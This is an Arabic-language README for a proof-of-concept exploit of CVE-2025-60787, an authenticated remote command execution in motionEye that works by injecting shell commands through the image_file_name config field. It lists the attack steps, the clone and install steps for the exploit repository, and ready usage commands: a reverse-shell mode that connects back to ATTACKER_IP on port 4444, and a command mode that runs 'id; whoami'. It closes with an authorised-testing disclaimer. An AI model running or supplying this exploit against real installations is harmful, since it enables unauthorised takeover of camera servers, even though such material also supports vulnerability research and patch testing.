CVE-2025-60787 - تنفيذ أوامر عن بعد موثوق في motionEye

تنفيذ أوامر عن بعد موثوق في motionEye <= 0.43.1b4 عبر معامل تكوين motion غير مُعقّم

المؤلف: d3vn0mi

نظرة عامة على الثغرة

يقبل motionEye سلاسل عشوائية في حقول التكوين مثل image_file_name ويكتبها مباشرة في ملفات تكوين Motion (/etc/motioneye/camera-*.conf). عند إعادة تشغيل خدمة Motion، فإنها تفسر هذه الحقول كسلاسل قابلة للتوسع في الصدفة، مما يسمح لمهاجم موثوق بحقن وتنفيذ أوامر نظام تشغيل عشوائية.

تتضمن الواجهة الرسومية للمستخدم التحقق من صحة الجهة العميلة لهذه الحقول، ولكن يمكن تجاوز ذلك بسهولة عن طريق إرسال طلبات API مخصصة مباشرة.

سير الهجوم

1. المصادقة على motionEye باستخدام بيانات اعتماد مسؤول صالحة
2. جلب قائمة تكوين الكاميرا
3. إرسال طلب POST بتكوين معدل بقيمة image_file_name ضارة
4. يعالج Motion الأمر المحقون عند التقاط لقطات (عبر capture_mode: interval-snapshots)

المتطلبات

• Python 3.6+
• مكتبة requests
• بيانات اعتماد مسؤول صالحة لـ motionEye
• وصول شبكي إلى مثيل motionEye الهدف

التثبيت

git clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt

الاستخدام

يدعم الاستغلال وضعين: shell عكسي و تنفيذ أوامر.

Shell عكسي

ابدأ مستمعًا على جهازك، ثم قم بتشغيل:

python3 exploit.py revshell \
    --url http://TARGET:8765 \
    --user admin \
    --password SECRET \
    -i ATTACKER_IP \
    --port 4444

تنفيذ الأوامر

python3 exploit.py command \
    --url http://TARGET:8765 \
    --user admin \
    --password SECRET \
    -e "id; whoami"

الخيارات

المراجع

• استشارة GitHub - GHSA-j945-qm58-4gjx
• Exploit-DB #52481
• وحدة Rapid7 Metasploit
• مشروع motionEye

الإسناد

• d3vn0mi - تطوير الاستغلال والأدوات
• gunzf0x - اكتشاف الثغرة CVE الأصلية والبحث

إخلاء مسؤولية

تُوفَّر هذه الأداة لأغراض اختبار الأمان المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام هذا البرنامج. احصل دائمًا على الإذن المناسب قبل الاختبار.

الترخيص

هذا المشروع مرخص بموجب رخصة MIT.